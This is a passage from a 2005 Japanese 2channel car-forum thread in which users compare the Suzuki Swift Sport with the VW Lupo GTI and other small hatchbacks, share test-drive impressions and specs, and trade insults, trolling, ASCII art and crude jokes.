欧州ではガチンコかもしれんが。

638 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:38:21 ID:ZhYysNSG0

ルポのデザインは男の俺には乗れねぇ

639 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:39:45 ID:/MD/feO30

ルポGTI
125ps / 6500rpm
15.5kgm / 3000rpm

スイフトスポーツ
125ps / 6800rpm
15.1kg・m/ 4800rpm


圧倒的にトルク特性はルポGTIの圧勝ですな
やっぱり良いスポーティ車ってトルクで走るからね〜

640 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:41:45 ID:/MD/feO30

>>635
ブランド
ボディ剛性
ハンドリング
トルク特性
速さ
刺激
女受け

ほとんどルポGTIの勝ち

641 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:43:07 ID:+ugBtwSp0

へ〜〜〜〜〜。

642 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:43:25 ID:NnfE19FN0

>>640
釣られんなバカ

643 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:44:37 ID:4BFk1RF10

罵り合って
ｽﾚを荒らすのをやめろ（´・ω・｀）

644 名前：206XS海苔：2005/09/23(金) 23:48:03 ID:riKb+3MJ0

スイスポの試乗はまだだが・・・
たぶん、いや１００�l206の負けだぞ。
108馬と125馬では勝負にならないような気が激しくする。

645 名前：632：2005/09/23(金) 23:48:33 ID:gkFz1k0O0

元ルポGTI乗りからすると、スイスポMTはルポ以上に面白そうだけどな。
まあAT試乗からのイメージなんで乗ってみないとなんとも言えんけど。
とにかく、上が伸びないのと、ワインディングだと３−４が使いづらくてさ。
今は何故かポロGTIだったりしてｗ
これはバッドチョイスでしたわい。

646 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:48:45 ID:Dw+ZEK910

しょうも無い批判レスなんか無視しようよー(´･ω･`)
欲しい人とか試乗の感想とか真面目な質問にだけ
反応しようよ〜｡･ﾟ･(ﾉД`)･ﾟ･｡

とりあえずMC待つ心算のあたしが言うのも何だけど(´-`)

647 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:50:59 ID:Iq6CgC7p0

ID:/MD/feO30
↑
ルポを称えてるくせにルポも買えない
そして、安価でかえるスイスポに目が行った
しかしルポに未練がある
2チャンでしか憂さ晴らし出来ない哀れな人


しかしルポに対してブランドなんて言ってる時点で次元が低すぎないかい（爆
このクラスにブランドを求めるﾔｼってどんな人間だろ　ﾜﾛﾀ

648 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:51:43 ID:MrmIAFZI0

あいだみつおさんだって「みんな違ってみんないい」って言ってるじゃないか。
人それぞれ好みも車に求めるものも違うんだから言い合ったって仕方なかんべ。
無駄にスレ消費するのもったいない。

明日もしかしたら試乗に行くかも知れない。ｳｷﾄﾞｷ
まだ腕は全然ないんだけど、上達するためのパートナーとしてはどうなんだろう？
試乗した方の感想教えてください。

649 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:52:18 ID:aX813ymV0

スイフトスポーツ：1060kg
ルポGTI：1010kg


車重でもルポ圧勝（笑）

650 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:53:47 ID:aX813ymV0

>>647
だって鱸って名前だけで軽自動車イメージじゃん（笑）
貧乏人の底辺御用達って感じｗ

651 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:55:52 ID:J03uwUx80

ロードスターとＳ２０００を乗り比べて、
Ｓ２０００の方が１０００倍良いぞフォー！！
って言ってるようなもんだな。アンチ達よ。頼むからほっておいてくれないか？
そんなに俺たちが羨ましいか？

652 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:57:40 ID:eMXJ7Fwn0

放っておくのは、言うまでもなく俺らの方だぞ？

レスしてるから喜んでるって事位、理解できるよな？

653 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:57:53 ID:UciMT1NN0

赤はテールランプ周りが同化しちゃってイマイチな気が・・・。

654 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:02:52 ID:NfxbB7JD0

>>651

S2000は250馬力のリアルスポーツ
ロドスタは170馬力のお気楽オープンカー

全然タイプが違いますなｗ



ハイやり直し〜

655 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:02:55 ID:LgpwHhpJ0

>>644
うう、荒れている中わざわざ申し訳ないです…

試乗されたら比較レポートを是非お願いします。

656 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:03:16 ID:3QrYFRCU0

>>653
あの同化した感じものっぺりしてて結構好き…。

657 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:04:05 ID:hrgJNpN00

新キャラ登場
るぽくん

よろしくね�･

658 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:04:19 ID:uK/r/Z660

>>648
スイフトはもともとタックインを強く出すセッティングだったと思ったが、
スイスポもそのへんはかなり強いと思う。前加重からコーナリングへの
繋がりを覚えると楽しいんじゃないかなあ？

659 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:07:53 ID:1YH/Fzvw0

スイフトの最小小回り半径が大きめなのはタックインで小回り利かせばいいだろ！ってことなのか

660 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:08:38 ID:JwdqoEj10

>>659
はぁ？

どういう理解の仕方をしてるんだ？
馬鹿か？

661 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:11:43 ID:0/h9UUkpO

ネタにマジレス

662 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:12:18 ID:8cfqCzwj0

戦車みたいにその場でグルリと１回転

663 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:14:46 ID:kyAbw7170

>>660の単純さにﾜﾛﾀ

664 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:15:04 ID:uK/r/Z660

>>662
それは静止状態から思いっきりハンドル切って、パーキング引いて
アクセルふかす小回り技じゃないのかｗ
ＦＦなら雪道だと面白いように回るぞ。スバル車以外は。

665 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:15:22 ID:71QcbdgV0

マジにネタレス

666 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:18:00 ID:3sut7epA0

誰か100km/ｈ走行時のＡＴ車の回転数を教えてくれ

667 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:19:39 ID:9ysCNX+C0

スタッドレス15インチ入るのかな？
ハブ径は67ミリ？

知っている人教えてください。

668 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:21:25 ID:uK/r/Z660

ノーマルスイフトは56だが……

669 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:29:34 ID:cLU7miHQ0

早くMT乗りて〜。

670 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:31:12 ID:G/lO/DXH0

ＪＷＲＣでの実力みればわかるだろ＞　>>489

671 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:35:10 ID:UDHW3Bk00

>>623は旧型スイスポのことは知らなそう・・
ただ悔しくて言ってるだけのように見える・・
ルポと同じコストをあの車にかけたらどうなるだろうねぇ・・
ま、空想だけどさ。

672 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:36:05 ID:NfxbB7JD0

ルポに乗った事もない>>671って可哀相…

673 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:37:16 ID:3QrYFRCU0

>>658
レスありがとう。
タックインかあ。まだうまくできないなあ。
どっちにしろうまくなるには楽しむ事も必要だわな。
貯金と練習がんばろー。

674 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:38:34 ID:w6ptkDhb0

>>624
スイスポのライバルは206じゃなくて106だよ。
まあ106はもう新車は無理だけど・・・
スイスポ、106、ルポGTIの日・仏・独のテンロクハッチ対決とか面白そうだな。

スイスポの試乗はまだだけど、
106のようにスペックでは測れない楽しさがある車だといいなぁ。

675 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:41:02 ID:UDHW3Bk00

>>672
ルポ乗ったこと無いよ。
だからルポがスイスポより劣るとも思ってないんだけどな・・
買える状況なら買いに行くくらいだけど。

つーかまだいたんだね・・

676 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 00:51:18 ID:CvebPhxp0

ルポネタで荒らしてるようだけど
ルポGTIは７月に生産終了済み、
ハイ終了〜！！！

677 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 01:01:51 ID:TO8+AqQQ0

着座位置が高いのが気になるな
低ポジションシートレールとかあるかな

678 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 01:10:47 ID:eHHHq1qo0

はははは。生産終了。ワロタ。プ。

679 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 01:11:33 ID:LEqGiNL30

i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ

　軽ベースのスイスポのライバルはミラですよー　フォー　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

680 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 01:16:36 ID:3QrYFRCU0

>>677
確かにちょっと高いよね。
車高もノーマルとほぼ一緒だし。
レカロだとちょっとは下がるんだろうけどオール赤は…

681 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 01:17:59 ID:QHDEn+9E0

この間、妻の車を買うためにスイスポ試乗してみましたが、とても楽しい車と感じました。
サスは固めでもストロークのある感じで、自分のアルファ147と似た楽しさを感じました。
ルポGTIで盛り上がってますが、以前試乗した感じでは、それほどバランス良い車とは感じ
ませんでしたし、ましてや男が乗るスポーツカーとは感じませんでした。
街で見かけても、昔の軽自動車みたいで安っぽい感じが・・・
あれならミニの方がよほどいいですね。
個人的意見ですみません。

682 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 01:24:40 ID:eHHHq1qo0

＞妻の車を

この時点でネタ決定

683 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 01:48:59 ID:KJAx/z7d0

>自分のアルファ147と似た楽しさを感じました
ここでもネタ成分が検出されました。

684 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 02:10:56 ID:hrgJNpN00

いや、この人はルポを叩いてるんだろ？

685 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 02:17:09 ID:eHHHq1qo0

ほんとだｗ
どっちにも読めるなｗ

686 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 02:19:55 ID:eHHHq1qo0

そういやまだ、街でスイスポ見かけることなんて、滅多なことじゃないはずだ。汗。

687 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 02:30:38 ID:3yYf1n+k0

＞ルポGTIは７月に生産終了済み、

これを聞いて焦ってルポGTIを買った俺様がここにいる。先月納車なのになぜかアルミ仕様だった。嬉しい誤算。
実は本来の予定は年末にスイスポかルポのどちらかにしようと予定してた。
まあ、ルポGTIはショートホイルベースでキビキビ曲がってくれて、なかなか面白い車ですよ。

688 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 02:38:48 ID:3QrYFRCU0

乗れるもんならどっちにも乗ってみたい。それが本音だ。。

689 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 03:07:22 ID:CvebPhxp0

＞先月納車なのになぜかアルミ仕様だった

おめでとう
漏れの場合は軽量合金製（1010kg）シルバーの在庫が既に無く
コストダウン版の鉄製（1030kg）しか選べず断念、このスレに来るハメに

本国じゃとっくにFOXにバトンタッチしてる機種だしね・・・
http://www.volkswagen.de/vwcms_publish/vwcms/master_public/brand_portal/de30/models/fox.html

690 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 03:52:35 ID:uDmIf2TA0

ルポ糊といいMINI糊といい、よっぽどスイフトが気になるみたいですねｗ

691 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 04:55:59 ID:irS26TGj0

>>666
４速の減速比と最終減速比とタイヤサイズがわかるのだから、
±200pmの誤差で計算できるよ。

692 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 05:29:12 ID:GB6aXfNV0

にゃるほど

693 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 06:53:27 ID:GFNBpsCc0

男1人⇒スイフト
女1人⇒マーチ
カップル⇒ロードスター
夫婦＋子供1人⇒ヴィッツＲＳ
夫婦＋子供2人⇒フィット
おかま⇒ベリーサ

694 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 07:46:42 ID:CUtxGoJV0

スイフト、デザインが終わってる
軽規格の全長で背が高い
最悪なデザイン

695 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 08:23:13 ID:hqKOf2Ns0

マーチのＳＲはオトコでしょ。

696 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 08:59:33 ID:YjXCgh2x0

>>690
そのうち106糊も来そうだな

697 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 09:10:24 ID:3sut7epA0

外車乗りがやっかむようになるとは、スイフトも進化したね。

698 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 09:15:22 ID:3yYf1n+k0

＞ルポ糊といいMINI糊といい、よっぽどスイフトが気になるみたいですねｗ

うん、凄く気になる。

699 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 09:23:44 ID:GcwOC8J2O

旧型対新型の罵りあいよりましか。

700 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 09:45:22 ID:4OMsGjmH0

>>693
最後の行ｸｿﾜﾛﾀｗ

701 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 09:49:03 ID:8cfqCzwj0

同門デミ男の方が・・・

702 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 09:53:32 ID:Ri7JbcY00

>>693
カップルのロドスタなんか見たことねぇｗ
たいがい男一人か二人。

703 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 09:57:30 ID:KJAx/z7d0

>外車乗りがやっかむようになるとは、スイフトも進化したね。 
実はなんちゃってスポーツ+ゴルフGTiの外装を恥ずかしげも無くパクるスズキの姿勢にムカついてるように思う。

704 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 10:16:55 ID:53/JEO3Q0

>>703
パクりじゃありません。
インスパイヤされただけです。

705 名前：sage：2005/09/24(土) 10:19:51 ID:1pwsw2m20

>>704
上手いこと言った！！

706 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 10:19:53 ID:7232EVI2O

>>702
俺の彼女がNA6海苔だった
ブラがＨ70の特注の女だったな

707 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 10:38:42 ID:uDmIf2TA0

>>703
なんちゃってスポーツ＋アルファ145の外装を恥ずかしげも無く真似るマツダの姿勢にもムカついてるのかな？

708 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 10:58:27 ID:3sut7epA0

今時パクリなんて言ってるようじゃ何も買えないぜ
欧州車が日本車をパクル時代だから
言い方を変えれば情報の共有化だな
その中でどれだけ独自性を出せるかで商品価値が決まる。

709 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 11:05:42 ID:5oBbnO0c0

なんだか面白コンパクトカー総合スレになってきましたね

…FOXのスポーツモデルも気になってきました

710 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 11:15:19 ID:ahhw+4Gf0

品質は外車並のきがす

711 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 11:33:01 ID:kmu9hkzB0

＞品質は外車並
軽ススキのは車検がスゴいからな。

712 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 11:42:18 ID:4h4/98dA0

648>>
「みんなちがって、みんないい」は、
金子みすずの「わたしと小鳥とすずと」だと思われ

http://www.geocities.com/sisimaikusiki/2001/1028/kanekomisuzu.html

713 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 11:46:16 ID:x8ZqRLi80

軽規格は旧スイフトだってば。新スイフトはALLNEW。何度言えば全く。

しかしこれだけチヤホヤされるスイスポ。
良かったね、このスレを見てるであろうスズキの関係者さん。

714 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 11:52:21 ID:3sut7epA0

まさにコンパクト業界のレクサス状態だね

715 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 11:54:10 ID:kmu9hkzB0

＞新スイフトはALLNEW。
開発ベースは旧スイフトだからな。

716 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 11:59:48 ID:x8ZqRLi80

>>714
ソースくれ。

717 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:02:48 ID:kmu9hkzB0

＞ソースくれ。
３年間で２００万円ドブに捨てるからな。

718 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:03:49 ID:4h4/98dA0

旧スイフトだって、シャシは軽とは全く別物。
共通なのはドアパネルだけで、サイドフェンダーはデザインは似てるものの別物だ。
別物と言いながら、なるだけ供用部品で済まそうとするから似てしまう。
で、軽より安くて性能良かったんだから文句ないよね。

719 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:10:15 ID:x8ZqRLi80

>>717
はぁ？意味不明。なんか凄そうなことを書いて、関係者ぶってみようとした努力は認めるよ。ｗ
しかしあんたは根拠がないのにそれを主張するのか？

720 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:11:43 ID:x8ZqRLi80

>>715
ソースくれ。

だったスマソ714よ！

721 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:23:19 ID:kmu9hkzB0

＞それを主張するのか？
独身なら下半身に１００万/年は当然だからな。

722 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:32:32 ID:hqKOf2Ns0

軽ベースって釣りだと思うが・・・。
軽ベースだと何か不具合でもあんの？
軽く出来てて逆に良い事もあるんじゃないの？

723 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:34:23 ID:kmu9hkzB0

＞軽ベースだと何か不具合でもあんの？
上級者なら１００ｍ走るだけで嫌になるからな。

724 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:36:41 ID:3sut7epA0

ID:kmu9hkzB0

こいつを相手にするなよ
連日ＨＧネタで荒らしてる厨房だから（爆

スイスポが気になって気になって夜も眠れないって！

725 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:40:56 ID:yTxI3a/8o

現行スイフトは軽ベースじゃない！と言ったところで
他社ではそんなことは遥か昔から当たり前なわけで。
その上に色々な魅力を載せてきてるワケだ。
軽ベースじゃないことが一番のウリの車なんぞ、お話にならないな。

726 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:41:23 ID:ziaZX0vC0

上級者ｗ

727 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:44:43 ID:3yYf1n+k0

中級車（自称）の漏れは３００ｍはもちますか？

728 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:47:52 ID:PSZRLlTK0

スズキがこんなクルマ作ったとはね。
今までは感じなかったが、Sマークがｶｺｲｸ見えてきたな。

ディーラー逝ってこよかな♪

729 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:51:08 ID:Js9G94pw0

>>725
ある意味盲点だったわけだ。他社では「　当たり前　」のコトなんだから。
特に情熱やら信念みたいなモンも無い。

満を持してのALLNEW。

志が違う。

730 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 12:55:27 ID:15wQnz1/0

上級者あらわるの巻

731 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:02:47 ID:SqXLjM660

>729
でもノウハウ（経験）がないんじゃ．．．

732 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:05:43 ID:5oBbnO0c0

煽り上級者編ですかｗ

733 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:07:55 ID:mJf0oFRR0

今から試乗いってきま

734 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:22:45 ID:lbP+p3Ng0

ススキ君(上級者)の相手はしないように。

735 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:23:15 ID:WAe2G5lT0

試乗レポでつ

スイスポのAT車は若干、シフトタイミングが引っ張る
設定になってるね。
まぁまぁ強めに踏んだら、セコンドで80kmオーバーしたよ。

736 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:29:13 ID:DQgZlTIF0

>>735
昔の軽の３ATみたいな設定だな

737 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:36:02 ID:qMeJ455f0

>>735
それ、いくらなんでも引っ張り杉でねえかw

738 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:36:56 ID:4h4/98dA0

今の衝突安全基準や排ガス規制を軽自動車の枠の中でクリアする技術って、
普通車だけ作ってるメーカーよりずっと凄いと思われ。

マツダも日産も、軽自動車はスズキのOEMだし、三菱に至っては
スズキのエンブレムのまま販売してる。

軽ベースと噂されているIGNIS Super1600はJWRCチャンピオンを育み、
その技術を持った上で新規に専用設計されたのだから悪いハズがない。

ただ、スイフトスポーツを名乗るには、スパルタンさに欠ける気が…

739 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:49:04 ID:r4mpLCBi0

おばちゃんが乗る車でもあるわけだから所詮こんなもんだよ･･･
高がスズキエンブレムに期待しすぎ。

740 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:50:15 ID:SmHmQ0O20

ビッツRSだと思えば問題なし

741 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:54:31 ID:5oBbnO0c0

>>738
知識や技量がある人は自分で弄るでしょ
保険の等級が上がるのも困りますしね

742 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:57:27 ID:7232EVI2O

Swift Super 1600は成績が奮わんな

743 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:58:13 ID:bTVf6b3r0

スパルタンモデルなら4ATの設定なんてしないだろ

744 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:59:06 ID:9CHQ4dlI0

マーチスーパーターボにはATもあったよ

745 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 13:59:56 ID:SqXLjM660

スイフトに力はいっているのはわかるが、
明らかに本業（軽）でダイハツに追い上げられていて、あせっていると思われ。

販売店の新古車の量がハンパじゃない。
今月決算だから、これからもっとあふれ出るんじゃないか〜？。
ダイハツは新古車あんまりないよ。

746 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 14:02:49 ID:wy4zP4dk0

軽自動車に関してだけだけど、あんな車作りをしてたら大発に
抜かれるのは当然な希ガス。

しかし逆に、コンパクトはヨタが入って悪くなった　　ので、
Sにはコンパクトに力を入れて欲しいな。

747 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 14:04:56 ID:2ioF60L20

スズキ叩き
別スレいってすれば？
カス

748 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 14:09:45 ID:SmHmQ0O20

http://toyota.jp/customize/vitz/trdsportsm/spec.html
http://www.modellista.co.jp/impression/vitz/

749 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 14:15:33 ID:7232EVI2O

>>747
叩いてイメージを落としておけば
ヴィッツＲＳに客が流れるかもしれないからな

750 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 14:18:00 ID:4h4/98dA0

NAライトチューンなのに持込登録？
LSD以外のスポーツオプションないんだ。
本気度が違わないか？

http://www.suzukisport.com/news/030613swiftsport/swiftsport.html
http://www.suzukisport.com/car/new_swift/
http://www.suzukisport.com/car/new_swiftsport/

751 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 14:33:48 ID:63vX+vbDO

ダイハツの新古車は全部トヨタ中古車センター行きだって
スズキはそのようなコネないから外にドバドバ

やはりバックにトヨタあると違うね

752 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 14:59:07 ID:SqXLjM660

EG6神で今初代スイスポ糊の俺は、
今や小排気量でマトモなスポーツエンジン作る気があって技術もあるのは、
スズキしかないと思ってる。（ホンダはもう作る気無いだろ）

だってさ、この原油高や地球環境問題考えて、会社の10、20年先考えたら、
既にハイブリット作ったり、バイオマス燃料対応エンジン作ったりするだろ。

他の会社が10年、20年前にやってた事これからやろうとしている
スポーツ車開発なんてのーてんきな会社ここしかないよ。
オタクには貴重。だから本業（軽）で盛り上がってこの体制維持して欲しい。

753 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 15:02:47 ID:waRgAjT2O

誉めてんだか、けなしてるんだかわからんなW

754 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 15:08:32 ID:4h4/98dA0

バイオディーゼルエンジン安く作るには、いすゞから何人か連れてきたら？
電気とかハイブリッドは今くらいで抑えてて。
水素も実現化までの道のり長そうだしね。

755 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 16:29:58 ID:xjyckHUo0

このスレ凄いな。
１が立ててから、たった５日で４分の３が埋まってもうた。
スイスポ大人気だね。

756 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 16:34:27 ID:dYXpnVd80

確かにスレの進行は早めだが内容は薄い

757 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 16:41:48 ID:GOL7sXNq0

「軽ベースＨＧ」が荒してるから早いだけ。

758 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 16:47:11 ID:3sut7epA0

正確には「軽ベースの脳みそのＨＧ」が荒らしてるから早いだけ

759 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 16:56:25 ID:ZlI3p9VY0

のように、

煽りと煽りに過剰反応する馬鹿が多いスレは
不人気車でもスレの伸びが凄いのが２ｃｈクオリティ。

760 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 17:06:45 ID:LdYd0QnY0

上級者が沢山集まるスレはここですか？

761 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 17:19:05 ID:LEqGiNL30

ウンコがしたくなりコンビニに行ったんだ
で、便器に座ってふと横を見たら「トイレットペーパー以外の物は詰まりの原因になりますので流さないでください」と書いてあった
だから俺はウンコは便器の横でして、尻を拭いたペーパーだけを流した
そしたら店員が来て、大きなピンセットみたいな物でウンコを一粒一粒拾いながら「おまえわざとか？」と言ってきた

762 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 17:20:35 ID:YxAdwFzS0

まるで少し前までのスタンダードのスレを見ているようだ。
面白がって厨に反応してる２の初心者さん達は少し控えた方がいいよ。

763 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 17:22:34 ID:ZlI3p9VY0

スタンダードスレに居た馬鹿がそのままこっちに移って来たぽいｗ

764 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 17:31:00 ID:9CHQ4dlI0

ところでディーラーにもよるようだけどスズスポのパーツならオプション扱いで納車に合わせて付けて貰えるからね
工賃浮くし値引きもして貰えるからパーツ装着考えてる人はスズスポのパーツが発売されるのを待った方がいいよ

765 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 17:37:47 ID:LEqGiNL30

　　　　　　　　　　　　　　　　　　　 . : ´: : : :才Xミｰ-､
　　　　　　　　　　　　　　　　　 ／:／: : ／:/:/ハヽ: : :＼
　　　　　　 　 　 　 　 　 　 　 /: /: : : /: : /:/〈 : ト: ヽ: : :ヽ
　　　　　　　　　　　　　　 　 /: /: : : /: ｲ:,':,':.ﾊ}: :l!:ヽ: ヽ: : :ヽ
　　　　　　　　　 　 　 　 　 〃/: : :〃: ｲ{:!:i: ハ: : l:i: !:i: :!: : : :
　　　　　　　　　　　　　　　,'〃: : :/:{:/ |:ｉ:|:|:i|　i: : l:|:ﾊ:|!: !: : : :i
　　　　　　　　　　 　 　 　 |:ｉ!:i: :i: !:ki｀_ﾄ!､!N|　∨:ﾘﾊ:!jl: |!: : : :i
　　　　　　　　　　 　 　 　 |:|: !: |: !:kｆびj�jヽ 　 Vｨ,ｺ[j「:ｌi : : : l
　　　　　　　　　　 　 　 　 |:!: !: :!: !l:ド=ン　　　　仏りﾉl!:ﾘ: :i: :i|
　　　　　　　　　　　　　　　V!:|:iﾊ: i:ｉ|　　　　　　　`¨´/〃: :l|: ﾘ
　　　　　　　　　　　　　ｚ‐-　＞､j>:ﾄゝ　　　_-'″　 ｲ:i/:/: ﾊ/ 　　荒らすとパンチしちゃうぞー
　　　　　　　　　　 ／⌒ヽ＼　ヽ ＼ヾ' ､　〈了　,∠jW}ノイﾚ'
　　　　 　 　 　 ／　r一ｧ‐'⌒`¬、 ＼　｀ ァ'ﾏ⌒　 ＼_
　　　　　　　　/　/´ r┘　　 　 　 Y　　＼/ ﾉ＾　　　　 ！
　 　 　 　 　 /　/ 　 |　｜ ｜ ｜　|ヽ　 /＾ヾ　　　　　　 ﾄ
　　　　　　　{　/!　/ |　｜　|　｜ ,ﾊ　∨＼_ﾉ＼　 　 　 ,ハ
　 　 　 　 　 Ｖハ ヽ ｀¨＾¨¨て}二ィ´ ヽヽ厶ﾍ,/ `ｰ､　　 _〉l
